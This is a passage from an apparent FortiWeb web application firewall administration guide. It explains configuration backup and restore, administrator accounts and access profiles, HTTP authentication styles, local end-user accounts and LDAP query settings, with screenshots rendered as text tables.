Encryption Password	
Schedule Type	☐ Now ☒ Daily
	☐ Mon ☐ Thu ☒ Sun
	☐ Tue ☐ Fri
	☐ Wed ☐ Sat
Days	
Time	02 ▾ 00 ▾
OK Cancel	

Setting name	Description
FTP Protocol	Select whether to connect to the server using FTP or SFTP.
FTP Server	Type either the IP address or fully qualified domain name (FQDN) of the server. The maximum length is 127 characters.
FTP Directory	Type the directory path on the server where you want to store the backup file. The maximum length is 127 characters.

Setting name	Description
FTP Authentication	Enable if the server requires that you provide a user name and password for authentication, rather than allowing anonymous connections.
FTP User	Type the user name that the FortiWeb appliance will use to authenticate with the server. The maximum length is 127 characters. This field appears only if you enable FTP Authentication .
FTP Password	Type the password corresponding to the user account on the server. The maximum length is 127 characters. This field appears only if you enable FTP Authentication .
Backup Type	Select either: • Full Config — A full configuration backup that includes both the configuration file and other uploaded files, such as private keys, certificates, and error pages. Note: You cannot restore a full configuration backup made via FTP/SFTP by using the web UI. Instead, use the <code>execute restore</code> command in the CLI. • CLI Config — Only includes the core configuration file.
Encryption	Enable to encrypt the backup file using 128-bit AES and a password.
Encryption Password	Type the password that will be used to encrypt the backup file. This field appears only if you enable Encryption .
Schedule Type	Select either: • Now — Initiate the backup immediately. • Daily — Schedule a recurring backup for a specific day and time of the week.
Days	Select the specific days when you want the backup to occur. This field is visible only if you set Schedule Type to <i>Daily</i> .
Time	Select the specific hour and minute of the day when you want the backup to occur. This field is visible only if you set Schedule Type to <i>Daily</i> .

5. Click **OK**.

If you selected an immediate backup, the appliance connects to the server and uploads the backup.

To back up the configuration via the CLI to a TFTP server



Fortinet strongly recommends that you password-encrypt this backup, and store it in a secure location. This method includes sensitive data such as your HTTPS certificates' private keys.

1. If necessary, start your TFTP server. (If you do not have one, you can temporarily install and run one such as `tftpd` ([Windows](#), [Mac OS X](#), or [Linux](#)) on your management computer.)



Because TFTP is **not** secure, and because it does not support authentication and could allow anyone to have read and write access, you should **only** run it on trusted administrator-only networks, **never** on computers directly connected to the Internet. If possible, immediately turn off `tftpd` off when you are done.

2. Log in to the CLI as the `admin` administrator using either the local console, the *CLI Console* widget in the web UI, or an SSH or Telnet connection.

Other administrator accounts do not have the required permissions.

3. Enter the following command:

```
execute backup full-config tftp <file-name_str> <server_ipv4>
[<backup-password_str>]
```

where:

Variable	Description
<file-name_str>	Type the file name of the backup.
<server_ipv4>	Type either the IP address of the server. Note: Domain names are currently not valid input with this command if you choose the FTP protocol.
[<backup-password_str>]	Optional. Type the password that will be used to encrypt the backup file. Caution: Do not lose this password. You will need to enter this same password when restoring the backup file in order for the appliance to successfully decrypt the file. If you cannot remember the password, the backup cannot be used.

For example, the following command backs up a FortiWeb-3000C's configuration file to a file named `FortiWeb-3000C.conf` in the current directory on the TFTP server 172.16.1.10, encrypting the backup file using the salt string `P@ssw0rd1`:

```
FortiWeb-3000C # exec backup full-config FortiWeb-3000c.conf tftp
172.16.1.10 P@ssw0rd1
```

Time required varies by the size of the database and the specifications of the appliance's hardware, but could take several minutes.

Restoring a previous configuration

If you have downloaded configuration backups, you can upload one to revert the appliance's configuration to that point.



Uploading a configuration file can also be used to configure many features of the FortiWeb appliance in a single batch: download a configuration file backup, edit the file in a plain text editor, then upload the finalized configuration.

To upload a configuration via the web UI

1. Go to *System > Maintenance > Backup & Restore*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Maintenance* category. For details, see [“Permissions” on page 46](#).



If you have made a configuration backup to an FTP server (see [“To back up the configuration via the web UI to an FTP/SFTP server” on page 206](#)), you cannot restore it here. Instead, restore it by using the `execute restore` command. See the [FortiWeb CLI Reference](#).

2. Select *Restore*.

Available options change to allow for file browsing.

System Configuration (Last Backup: Tue Oct 30 14:10:03 2012)

Backup/Restore

☐ Backup ☒ Restore

From File

Decryption ☒

Password

3. Either type the path and file name of the file to restore in the *From File* field, or click *Browse* to locate the file. (It has a `.conf` file extension.)
4. If the backup was encrypted, enable *Decryption*, then in *Password*, provide the password that was used to encrypt the backup file.
5. Click *Restore* to start the restoration of the selected configuration to a file.

Your web browser uploads the configuration file and the FortiWeb appliance restarts with the new configuration. Time required to restore varies by the size of the file and the speed of your network connection. Your web UI session will be terminated when the FortiWeb appliance restarts.

6. To continue using the web UI, if you have not changed the IP address and static routes of the web UI, simply refresh the web page and log in again.

Otherwise, to access the web UI again, in your web browser, modify the URL to match the new IP address of the network interface.

For example, if you configured port1 with the IP address 10.10.10.5, you would browse to:

`https://10.10.10.5`

If the new IP address is on a different subnet than the previous IP address, and your computer is directly connected to the FortiWeb appliance, you may also need to modify the IP address and subnet of your computer to match the FortiWeb appliance's new IP address.

7. Upload any auxiliary configuration files such as certificates. (These are only included in the configuration backup if you used the CLI or FTP/SFTP server backup. Otherwise, you must upload them again manually.)

Administrators

In its factory default configuration, FortiWeb has one administrator account named `admin`. This administrator has permissions that grant full access to FortiWeb's features.

To prevent accidental changes to the configuration, it's best if only network administrators — and if possible, only a single person — use the `admin` account. You can use the `admin` administrator account to configure more accounts for other people. Accounts can be made with different scopes of access. If you require such role-based access control (RBAC) restrictions, or if you simply want to harden security or prevent inadvertent changes to other administrators' areas, you can do so via access profiles. See [“Configuring access profiles” on page 213](#).

For example, you could create an account for a security auditor who must only be able to view the configuration and logs, but **not** change them.

Administrators may be able to access the web UI, the CLI, and use ping/traceroute through the network, depending on:

- the account's trusted hosts ([“Trusted hosts” on page 50](#))
- the protocols enabled for each of the FortiWeb appliance's network interfaces ([“Configuring the network interfaces” on page 111](#))

To determine which administrators are currently logged in, use the CLI command `get system logged-users`. For details, see the [FortiWeb CLI Reference](#).



To prevent multiple administrators from logging in simultaneously, which could allow them to inadvertently overwrite each other's changes, enable [Enable Single Admin User login](#). For details, see [“Global web UI & CLI settings” on page 50](#).

To configure an administrator account

1. Before configuring the account:
 - Configure the access profile that will govern the account's permissions (see [“Configuring access profiles” on page 213](#)).
 - If you already have accounts that are defined on an LDAP (e.g. Microsoft Active Directory or IBM Lotus Domino) or RADIUS server, FortiWeb can query the server in order to authenticate your administrators. Configure the query set (see [“Grouping remote authentication queries for administrators” on page 214](#)).
2. Go to *System > Admin > Administrators*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Admin Users* category. For details, see [“Permissions” on page 46](#).
3. Click *Create New*.

A dialog appears.

4. Configure these settings:

New Administrator	
Administrator	auditor1
Type	Local User
Password	
Confirm Password	
IPv4 Trusted Host #1	192.0.2.5/32
IPv4 Trusted Host #2	192.0.2.5/32
IPv4 Trusted Host #3	192.0.2.5/32
IPv6 Trusted Host #1	<input "::="" 0"="" type="text" value=""/>
IPv6 Trusted Host #2	<input "::="" 0"="" type="text" value=""/>
IPv6 Trusted Host #3	<input "::="" 0"="" type="text" value=""/>
Access Profile	auditor
OK Cancel	

Setting name	Description
Administrator	Type the name of the administrator account, such as <code>admin1</code> or <code>admin@example.com</code>, that can be referenced in other parts of the configuration. Do not use spaces or special characters except the ‘at’ symbol (<code>@</code>). The maximum length is 35 characters. Note: This is the user name that the administrator must provide when logging in to the CLI or web UI. If using an external authentication server such as RADIUS or Active Directory, this name will be passed to the server via the remote authentication query.
Type	Select either: • Local User — Authenticate using an account whose name, password, and other settings are stored locally, in the FortiWeb appliance’s configuration. • Remote User — Authenticate by querying the remote server that stores the account’s name and password. Also configure Admin User Group.
Password	Type a password for the administrator account. This field is available only when Type is <i>Local User</i>. Tip: Set a strong password for every administrator account, and change the password regularly. Failure to maintain the password of every administrator account could compromise the security of your FortiWeb appliance. As such, it can constitute a violation of PCI DSS compliance and is against best practices. For improved security, the password should be at least eight characters long, be sufficiently complex, and be changed regularly. To check the strength of your password, you can use a utility such as Microsoft’s password strength meter.

Setting name	Description
Confirm Password	Re-enter the password to confirm its spelling. This field is available only when <i>Type</i> is <i>Local User</i> .
Admin User Group	Select a remote authentication query set. See “ Grouping remote authentication queries for administrators ” on page 214. This field is available only when <i>Type</i> is <i>Remote User</i> . Caution: Secure your authentication server and, if possible, all query traffic to it. Compromise of the authentication server could allow attackers to gain administrative access to your FortiWeb. Trusted Host #1 Trusted Host #2 Trusted Host #3
	Type the source IP address(es) and netmask from which the administrator is allowed to log in to the FortiWeb appliance. If <i>PING</i> is enabled, this is also a source IP address to which FortiWeb will respond when it receives a ping or traceroute signal. Trusted areas can be single hosts, subnets, or a mixture. For more information, see “ Trusted hosts ” on page 50. To allow logins only from one computer, enter its IP address and 32- or 128-bit netmask in all <i>Trusted Host</i> fields: 192.0.2.2/32 2001:0db8:85a3:::8a2e:0370:7334/128 Caution: If you configure trusted hosts, do so for all administrator accounts. Failure to do so means that all accounts are still exposed to the risk of brute force login attacks. This is because if you leave even one administrator account unrestricted (i.e. any of its <i>Trusted Host</i> settings is 0.0.0.0/0.0.0.0), the FortiWeb appliance must allow login attempts on all network interfaces where remote administrative protocols are enabled, and wait until after a login attempt has been received in order to check that user name’s trusted hosts list. Tip: If you allow login from the Internet, set a longer and more complex <i>Password</i> , and enable only secure administrative access protocols (<i>HTTPS</i> and <i>SSH</i>) to minimize the security risk. For information on administrative access protocols, see “ Configuring the network interfaces ” on page 111. Also restrict trusted hosts to IPs in your administrator’s geographical area. Tip: For improved security, restrict all trusted host addresses to single IP addresses of computer(s) from which only this administrator will log in.
Access Profile	Select an existing access profile that indicates the permissions for this administrator account. For more information on access profiles, see “ Configuring access profiles ” on page 213. You can select <i>prof_admin</i> , a special access profile used by the <i>admin</i> administrator account. However, selecting this access profile will not confer all permissions of the <i>admin</i> administrator. For example, the new administrator would not be able to reset lost administrator passwords. This option does not appear for the <i>admin</i> administrator account, which by definition always uses the <i>prof_admin</i> access profile.

5. Click OK.

See also

- [Configuring access profiles](#)
- [Grouping remote authentication queries for administrators](#)
- [Configuring the network interfaces](#)
- [Trusted hosts](#)
- [Permissions](#)

Configuring access profiles

Access profiles determine administrator accounts' permissions.

When an administrator has only read access to a feature, the administrator can access the web UI page for that feature, and can use the `get` and `show` CLI command for that feature, but cannot make changes to the configuration. There are no *Create* or *Apply* buttons, or `config` CLI commands. Lists display only the *View* icon instead of icons for *Edit*, *Delete* or other modification commands. Write access is required for modification of any kind.

In larger companies where multiple administrators divide the share of work, access profiles often reflect the specific job that each administrator does ("role"), such as user account creation or log auditing. Access profiles can limit each administrator account to their assigned role. This is sometimes called role-based access control (RBAC).

The `prof_admin` access profile, a special access profile assigned to the `admin` administrator account and required by it, **does not** appear in the list of access profiles. It exists by default and cannot be changed or deleted, and consists of essentially UNIX `root`-like permissions.



Even if you assign the `prof_admin` access profile to other administrators, they will **not** have all of the same permissions as the `admin` account. The `admin` account has some special permissions, such as the ability to reset administrator passwords, that are inherent in that account only. Other accounts should not be considered a complete substitute.

If you create more administrator accounts, whether to harden security or simply to prevent accidental modification, create other access profiles with the minimal degrees and areas of access that each role requires. Then assign each administrator account the appropriate role-based access profile.

For example, for an administrator whose only role is to audit the log messages, you might make an access profile named `auditor` that only has *Read* permissions to the *Log & Report* area.

To configure an access profile

1. Go to *System > Admin > Access Profile*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Admin Users* category. For details, see ["Permissions" on page 46](#).

2. Click *Create New*.

A dialog appears.

3. In *Profile Name*, type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.

4. Configure the permissions options.

Edit Access Profile			
Profile Name auditor			
Access Control	☐ None	☐ Read Only	☐ Read-Write
Maintenance	☒	☐	☐
Admin Users	☒	☐	☐
System Configuration	☒	☐	☐
Network Configuration	☒	☐	☐
Log & Report	☐	☒	☐
Auth Users	☒	☐	☐
Server Policy Configuration	☒	☐	☐
Web Protection Configuration	☒	☐	☐
Autolearn Configuration	☒	☐	☐
Web Anti-Defacement Management	☒	☐	☐
Web Vulnerability Scan Configuration	☒	☐	☐

For each row associated with an area of the configuration, mark either the *None*, *Read Only*, or *Read-Write* radio buttons to grant that type of permission. For a list of features governed by each access control area, see [“Permissions” on page 46](#).

Click the *Read Only* check box to select or deselect all read categories.

Click the *Read-Write* check box select or deselect all write categories.

Unlike the other rows, whose scope is an area of the configuration, the *Maintenance* row does not affect the configuration. Instead, it indicates whether the administrator can do special system operations such as changing the firmware.

5. Click OK.

See also

- [Administrators](#)
- [Permissions](#)

Grouping remote authentication queries for administrators


When using LDAP and RADIUS queries to authenticate FortiWeb administrators, you must group queries for administrator accounts into a single set so that it can be used when configuring an administrator account.

To configure an administrator remote authentication query group

1. Before you can add administrators to a group, you must first define an LDAP or RADIUS query whose result set includes those administrator accounts. For details, see [“Configuring LDAP queries” on page 224](#) and/or [“Configuring RADIUS queries” on page 228](#).
2. Go to *User > User Group > Admin Group*.
To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Auth Users* category. For details, see [“Permissions” on page 46](#).

3. Click *Create New*.

A dialog appears.



The dialog box is titled "Create New Admin User Group". It contains a text field labeled "Name" with the value "admin-remote-auth1". Below the text field are "OK" and "Cancel" buttons. At the bottom of the dialog is a toolbar with icons for "Create New", "Edit", "Delete", "Insert", and "Move". Below the toolbar is a table with four columns: "ID", "User Type", and "Name".


4. In *Name*, type a name that can be referenced by other parts of the configuration, such as `admin-remote-auth1`. Do not use special characters. The maximum length is 35 characters.

5. Click *OK*.

The *Create New* button for this item, below its name, will no longer be greyed out, indicating that it has become available.

6. Click *Create New*.

A dialog appears that enables you to add queries to the group.



The dialog box is titled "Edit User Group Member". It contains a section for "User Type" with two radio buttons: "LDAP User" (selected) and "RADIUS User". Below this is a "Name" field with a dropdown menu showing "LDAP query 1". At the bottom are "OK" and "Cancel" buttons.

7. For *User Type*, select either the *LDAP User* or *RADIUS User* query type.
8. From *Name*, select the name of an existing LDAP or RADIUS query. (The contents of the drop-down list vary by your previous selection in *User Type*.)
9. Click *OK*.
10. Repeat the previous steps for each query that you want to use when an account using this query group attempts to authenticate.
11. To apply the set of queries, select the group name in *Admin User Group* when configuring an administrator account (see [“Administrators” on page 210](#)).

Changing an administrator's password

If an administrator has forgotten or lost their password, or if you need to change an administrator account's password and you do not know its current password, you can reset the password.

If you forget the password of the `admin` administrator, you can reset the FortiWeb to its default state (including the default administrator account and password) by restoring the firmware. For instructions, see [“Restoring firmware \(‘clean install’\)” on page 648](#).

To change an administrator account's password



If the account authenticates by FortiWeb querying a remote LDAP or RADIUS server, you cannot use this procedure. The *Change Password* button will be greyed out and unavailable for accounts that use remote authentication. Instead, log in to the remote authentication server and reset the password there.

1. Log in as the `admin` administrator account.

Alternatively, if you know the current password for the account whose password you want to change, you may log in with any administrator account whose access profile permits *Read* and *Write* access to items in the *Admin Users* category.


2. Go to *System > Admin > Administrators*.

	Create New		Edit		Delete		Change Password
	Name	IPv4 Trusted Hosts	IPv6 Trusted Hosts	Profile	Type		
	admin	0.0.0.0/0, 0.0.0.0/0, 0.0.0.0/0	::/0, ::/0, ::/0	prof_admin	Local		
	auditor1	192.0.2.5/32, 192.0.2.5/32, 192.0.2.5/32	::/0, ::/0, ::/0	auditor	Local		

3. Mark the check box in the row of the account whose password you want to change.

4. Click *Change Password*.

A dialog appears.



Edit Password

Administrator: auditor1

New Password:

Confirm Password:

OK Cancel

5. The *Old Password* field does not appear for other administrator accounts if you are logged in as the `admin` administrator. If you logged in using a different account, however, in the *Old Password* field, type the current password for the account whose password you are resetting. (The `admin` account does not have an old password initially.)
6. In the *New Password* and *Confirm Password* fields, type the new password and confirm its spelling.
7. Click *OK*.

If you change the password for the `admin` administrator account, the FortiWeb appliance logs you out. To continue using the web UI, you must log in. The new password takes effect the next time that account logs in.

Users

On FortiWeb, user accounts do not log in to the administrative web UI.

Instead, they are used to add HTTP-based authentication and authorize each request from clients that are connecting through FortiWeb to your protected web servers.

Best practices dictate that each person accessing your web sites should have his or her own account so that security audits can reliably associate a login event with a specific person. Accounts should be restricted to URLs for which they are authorized. Authorization may be derived from a person's role in the organization.

For example, a CFO would reasonably have access to all financial data, but a manufacturing technician usually should not. Such segregation of duties in financial regulation schemes often translates to role-based access control (RBAC) in information systems, which you can implement through FortiWeb's HTTP authentication and authorization rules.

For instructions, see [“Offloading HTTP authentication & authorization” on page 221](#).



User authentication is **not** supported in all operation modes. See [“Supported features in each operation mode” on page 61](#).

See also

- [Authentication styles](#)
- [Offloading HTTP authentication & authorization](#)
- [Example: Enforcing complex passwords](#)

Authentication styles


Multiple different methods exist for end-users to authenticate with web sites. These methods have different appearances and features.

Via the “Authorization:” header in the HTTP/HTTPS protocol

The HTTP/HTTPS protocol itself ([RFC 2965](#)) supports simple authentication via the `Authorization:` and `WWW-Authenticate:` fields in HTTP headers.

When a web site requires authentication in order to authorize access to a URL, it replies with an HTTP 401 `Authorization Required` response. This elicits a prompt from the web browser.

Figure 32:An HTTP authentication prompt in the Google Chrome browser



If the user supplies credentials, his or her web browser includes them in a second request for the same page. If the credentials are valid, the web server returns the requested URL; otherwise, it repeats its 401 *Authorization Required* response.

This type of authorization is handled at the web server layer of the host's software stack, independently of the static HTML, dynamic pages and runtime interpreters (PHP, ColdFusion, Python, etc.), or database (MySQL, PostgreSQL, etc.) of the web applications it may host, and as a result can span multiple web applications. It also may be offloaded to a FortiWeb (see [“Offloading HTTP authentication & authorization” on page 221](#)).

Because the HTTP protocol itself is essentially stateless — no request is required to have knowledge of or be related to any other request — as a practical matter, many browsers cache this data so that users will not have to re-enter the same user name and password over and over again, for every page that they visit on the web site. (For this reason, one-time passwords are generally impractical. They effectively contradict the reusability of the cache.) However, in payment for this initial convenience, logouts are basically impossible unless the user clears his or her browser's cache and/or closes the window (which can also clear the cache).

Accounting, if any, of this type of authentication is handled by the web server (or, if you have offloaded authentication to FortiWeb, it may be accounted for in logs, depending on your configuration of [Alert Type](#)).



While some supported `WWW-Authenticate:` methods encrypt passwords, due to a lack of other cryptographic features, if used with HTTP, it is **not** as secure as HTTPS. For stronger protection, use HTTP-based authentication with HTTPS.

Via forms embedded in the HTML

Web applications can authenticate users by including `<input>` tags for each login credential in an `<form>` buttons, text fields, check boxes, and other inputs on a web application's login page such as `/login.asp`.

Figure 33:An authentication form on the Fortinet Technical Support login web page

here.'"/>

This method does **not** rely on the mechanism defined in the HTTP protocol. Instead, when the user submits the form, the web application uses form inputs to construct server-side sessions, client-side session cookies, or parameters in the URL such as `JSPSESSIONID` in order to create statefulness.

This type of authorization occurs at the web application layer of the server's software stack. As a result, when visiting different web applications on the same host, users may have to authenticate multiple times, unless the web applications share a single sign-on (SSO) framework.

Authorization for each subsequent requested URL then occurs based upon whether the user is in the logged-in state, or the logged-out state, and possibly other implemented conditions such as user groups and permissions. Dynamic page content may change based upon knowledge of the user's preferences. In addition to a logout button, this method also often adds session timeouts. However, depending on the implementation, it often may only work properly if the client supports — and accepts — cookies.

Accounting, if any, of this type of authentication is handled by the web application or servlet.

This type of authentication cannot be offloaded to FortiWeb, but **can** be protected using its features. For example, you can use FortiWeb to enforce complex passwords by applying an

input rule. Depending on your operation mode (see [“Supported features in each operation mode” on page 61](#)), you might want to see:

- [“Cookie Poisoning Detection” on page 460](#)
- [“Blocking known attacks & data leaks” on page 377](#)
- [“Configuring parameter validation \(input rules\)” on page 411](#)
- [“Preventing tampering with hidden inputs” on page 420](#)
- [“Preventing brute force logins” on page 352](#)
- [“Specifying URLs allowed to initiate sessions” on page 405](#)



If used within the content of HTTP, it is **not** as secure as HTTPS. For stronger protection, use form-based authentication with HTTPS.


Via a personal certificate

Alternatively or additionally to logging in by providing a password, clients can present an X.509 v3 personal certificate. This can be a good choice for large organizations where:

- entering a password is onerous due to password length/complexity policies or the nature of the device (e.g. small touch screens on iPhone or Android smart phones, or highly secure environments)
- you control the endpoint devices, so it is possible to install personal certificates

If your clients will connect to your web sites using HTTPS, you can configure FortiWeb to require clients to present a personal certificate during the handshake in order to confirm their identities. This is sometimes called public key infrastructure (PKI) authentication ([RFC 5280](#)).

Figure 34: A personal certificate prompt in Microsoft Internet Explorer



For details, see [“How to apply PKI client authentication \(personal certificates\)” on page 283](#).

Offloading HTTP authentication & authorization

If a web site does not support [RFC 2617](#) HTTP authentication on its own, nor does it provide HTML form-based authentication, you can use a FortiWeb appliance to authenticate HTTP/HTTPS clients before they are permitted to access a web page.



User authentication is **not** supported in all operation modes. See [“Supported features in each operation mode” on page 61](#).

Authentication can use either:

- locally-defined accounts
- remotely-defined accounts whose credentials are confirmed with the authentication server via LDAP queries, RADIUS queries, and/or NTLM queries

Based upon the:

- end-user’s confirmed identity
- URL she or he is requesting

FortiWeb then applies rules for that account to determine whether or not to authorize each of the user’s HTTP/HTTPS requests.

HTTP-based authentication provided by your FortiWeb can be used in conjunction with a web site that already has authentication. However, it is usually used as a substitute for a web site that lacks it, or where you have disabled it in order to offload it to the FortiWeb for performance reasons.



Some compliance schemes, including PCI DSS, require that each person have sole access to his or her account, and that that account be restricted from sensitive data such as cardholder information unless it has a business need-to-know. Be aware of such requirements before you begin. This can impact the number of accounts that you must create, as well as the number and scope of authorization rules. Violations can be expensive in terms of higher processing fees, being barred from payment transactions, and, in case of a security breach, penalties of up to \$500,000 per non-compliance.

To configure and activate end-user accounts



Alternatively or additionally, you can require the end-user to present a personal certificate in order to securely authenticate. See [“How to apply PKI client authentication \(personal certificates\)” on page 283](#).

1. Define user accounts in either or both of the following ways:

- If you want to define end-user accounts on the FortiWeb, create a user name and password record for each user. See [“Configuring local end-user accounts” on page 223](#).
- If end-user account credentials are already defined on a remote authentication server, configure a query to that server. See [“Configuring LDAP queries” on page 224](#), [“Configuring RADIUS queries” on page 228](#), or [“Configuring NTLM queries” on page 230](#).


2. Group accounts and queries to create user groups. See [“Grouping users” on page 231](#).

3. Configure authorization rules for each user group. See [“Applying user groups to an authorization realm” on page 233](#).
4. Group authorization rules into an authorization policy. See [“Grouping authorization rules” on page 235](#).
5. Select the authorization policy in an inline protection profile. See [“Configuring a protection profile for inline topologies” on page 456](#)
6. Select the inline protection profile in a server policy. See [“Configuring a server policy” on page 470](#).

When you have configured HTTP authentication

1. If the client's initial request does not already include an `Authorization:` field in its HTTP header, the FortiWeb appliance replies with an HTTP 401 `Authorization Required` response. The response includes a `WWW-Authenticate:` field in the HTTP header that indicates which style of authentication to use (basic, digest, or NTLM) and the name of the realm (usually the name, such as “Restricted Area”, of a set of URLs that can be accessed using the same set of credentials).
2. The browser then prompts its user to enter a user name and password. (The prompt may include the name of the realm, in order to indicate to the user which login is valid.) The browser includes the user-entered info in the `Authorization:` field of the HTTP header when repeating its request.

Figure 35:An HTTP authentication prompt in the Google Chrome browser



Valid user name formats vary by the authentication server. For example:

- For a local user, enter a user name in the format `username`.
 - For LDAP authentication, enter a user name in the format required by the directory's schema, which varies but could be a user name in the format `username` or an email address such as `username@example.com`.
 - For NTLM authentication, enter a user name in the format `DOMAIN/username`.
3. The FortiWeb appliance compares the supplied credentials to:
 - the locally defined set of user accounts
 - a set of user objects in a Lightweight Directory Access Protocol (LDAP) directory
 - a set of user objects on a Remote Authentication and Dial-in User Service (RADIUS) server
 - a set of user accounts on an NT LAN Manager (NTLM) server

4. If the client authenticates successfully, the FortiWeb appliance forwards the original request to the server.

If the client does **not** authenticate successfully, the FortiWeb appliance repeats its HTTP 401 *Authorization Required* response to the client, asking again for valid credentials.

5. Once the client has authenticated with the FortiWeb appliance, if FortiWeb applies no other restrictions and the URL is found, it returns the web server's reply to the client.

If the client's browser is configured to do so, it can cache the realm along with the supplied credentials, automatically re-supplying the user name and password for each request with a matching realm. This provides convenience to the user; otherwise, the user would have to re-enter a user name and password for every request.



Advise users to clear their cache and close their browser after an authenticated session. HTTP itself is stateless, and there is no way to actively log out. HTTP authentication causes cached credentials, which persist until the cache is cleared either manually, by the user, or automatically, when closing the browser window or tab. Failure to clear the cache could allow unauthorized persons with access to the user's computer to access the web site using their credentials.



HTTP authentication is **not** secure. All user names and data (and, depending on the authentication style, passwords) are sent in clear text. If you require encryption and other security features in addition to authorization, use HTTP authentication with SSL/TLS (i.e. HTTPS) and disable HTTP. See [HTTP Service](#) and [HTTPS Service](#).

See also

- [Configuring local end-user accounts](#)
- [Configuring queries for remote end-user accounts](#)
- [Applying user groups to an authorization realm](#)
- [Grouping authorization rules](#)

Configuring local end-user accounts

FortiWeb can use local end-user accounts to authenticate and authorize HTTP requests to protected web sites. For details, see [“Offloading HTTP authentication & authorization” on page 221](#).


To configure a local user

1. Go to *User > Local User > Local User*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Auth Users* category. For details, see [“Permissions” on page 46](#).

2. Click *Create New*.

3. Configure these settings:



Create New Local User

Name

User Name

Password

Setting name	Description
Name	Type a name that can be referenced in other parts of the configuration, such as Jane Doe. Do not use special characters. The maximum length is 35 characters. Note: This is <i>not</i> the user name that the person must provide when logging in to the CLI or web UI.
User Name	Type the user name that the client must provide when logging in, such as user1. The maximum length is 63 characters.
Password	Type a password for the user account. The maximum length is 63 characters. Tip: For improved security, the password should be at least eight characters long, be sufficiently complex, and be changed regularly. To check the strength of your password, you can use a utility such as Microsoft's password strength meter .

4. Click **OK**.
5. To activate the user account, you must indirectly include it in a server policy that governs connections to your web servers. Continue with [“Grouping users”](#). (For an overview, see [“To configure and activate end-user accounts” on page 221](#).)

See also

- [Grouping users](#)
- [Configuring LDAP queries](#)
- [Configuring RADIUS queries](#)
- [Configuring NTLM queries](#)

Configuring queries for remote end-user accounts

FortiWeb supports multiple query types that you can use to authenticate users with accounts stored on remote servers, rather than with accounts on the FortiWeb itself.

Configuring LDAP queries

FortiWeb can use LDAP queries to authenticate and authorize end-users' HTTP requests to protected web sites. For details, see [“Offloading HTTP authentication & authorization” on page 221](#). FortiWeb can also use LDAP queries to authenticate administrators' access to the

web UI or CLI. For details, see [“Grouping remote authentication queries for administrators” on page 214](#).



If you use an LDAP query for administrators, separate it from the queries for regular users. **Do not combine administrator and user queries into a single entry.** Failure to separate queries will allow end-users to have administrative access the FortiWeb web UI and CLI. If administrators are in the same directory but belong to a different group than end-users, you can use [Group Authentication](#) to exclude end-users from the administrator LDAP query.

Supported servers may implement the underlying technology and group membership in different ways, such as with OpenLDAP, Microsoft Active Directory, IBM Lotus Domino, and Novell eDirectory. Match the distinguished names (DN) and group membership attributes ([Group Type](#)) with your LDAP directory's schema.

If this query will be used to authenticate administrators, and your LDAP server is slow to answer, you may need to adjust the authentication timeout setting to prevent the query from failing. See the [FortiWeb CLI Reference](#). (For end-user queries, configure [Connection Timeout](#) instead.)

To configure an LDAP query

1. Before configuring the query, if it will use a secure connection, you must upload the certificate of the CA that signed the LDAP server's certificate. For details, see [“Uploading trusted CAs' certificates” on page 270](#).
2. Go to *User > Remote Server > LDAP Server*.
To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Auth Users* category. For details, see [“Permissions” on page 46](#).
3. Click *Create New*.
A dialog appears.
4. Configure these settings:

Edit LDAP Server	
Name	LDAP query 1
Server IP	192.0.2.100
Server Port	389
Common Name Identifier	cn
Distinguished Name	CN=People, DN=example, DN=com
Bind Type	Regular
User DN	CN=Manager,CN=People, DN=example, C
Password	
Filter	
Group Authentication	☐
Secure Connection	☐

Setting name	Description
Name	Type a unique name that can be referenced in other parts of the configuration. Do not use special characters. The maximum length is 35 characters. Note: This is the name of the query only, not the administrator or end-user's account name/login. Administrator account names are defined in Administrator .
Server IP	Type the IP address of the LDAP server.

Setting name	Description
Server Port	Type the port number where the LDAP server listens. The default port number varies by your selection in Secure Connection: port 389 is typically used for non-secure connections or for STARTTLS-secured connections, and port 636 is typically used for SSL-secured (LDAPS) connections.
Common Name Identifier	Type the identifier for the common name (CN) attribute (also called the CNID) whose value is the user name. Identifiers vary by your LDAP directory's schema. This is often <code>cn</code> or <code>uid</code>. For example, in a default OpenLDAP directory, if a user object is: <pre>uid=hlee,cn=users,dc=example,dc=com</pre> then the CNID is <code>uid</code>. In a default Active Directory directory, if a user object is: <pre>cn=hlee,cn=users,dc=example,dc=com</pre> then the CNID is <code>cn</code>.
Distinguished Name	Type the distinguished name (DN), such as: <pre>ou=People,dc=example,dc=com</pre> or <pre>cn=users,dc=example,dc=com</pre> that forms the full path in the directory to the user account objects.
Bind Type	Select one of the following LDAP query binding styles: • Simple — Bind using the client-supplied password and a bind DN assembled from the Common Name Identifier, Distinguished Name, and the client-supplied user name. • Regular — Bind using a bind DN and password that you configure in User DN and Password. This also allows for group authentication. • Anonymous — Do not provide a bind DN or password. Instead, perform the query without authenticating. Select this option only if the LDAP directory supports anonymous queries.
User DN	Type the bind DN, such as <code>cn=FortiWebA,dc=example,dc=com</code>, of an LDAP user account with permissions to query the Distinguished Name. The maximum length is 255 characters. This field may be optional if your LDAP server does not require the FortiWeb appliance to authenticate when performing queries, and does not appear if Bind Type is <i>Anonymous</i> or <i>Simple</i>.
Password	Type the password of the User DN. This field may be optional if your LDAP server does not require the FortiWeb appliance to authenticate when performing queries, and does not appear if Bind Type is <i>Anonymous</i> or <i>Simple</i>.

Setting name	Description
Filter	Type an LDAP query filter string, if any, that will be used to filter out results from the query's results based upon any attribute in the record set, such as: <pre>(&((objectClass=user) (objectClass=group) (objectClass=publicFolder)))</pre> For syntax, see an LDAP query filter reference. If you do not want to exclude any accounts from the query, leave this blank. The maximum length is 255 characters. This option appears when <i>Bind Type</i> is <i>Regular</i>.
Group Authentication	Enable to filter the query results, only allowing users to authenticate if they are members of the LDAP group that you define in <i>Group DN</i>. Users that are not members of that group will not be allowed to authenticate. Also configure <i>Group Type</i> and <i>Group DN</i>. This option appears only when <i>Bind Type</i> is <i>Regular</i>.
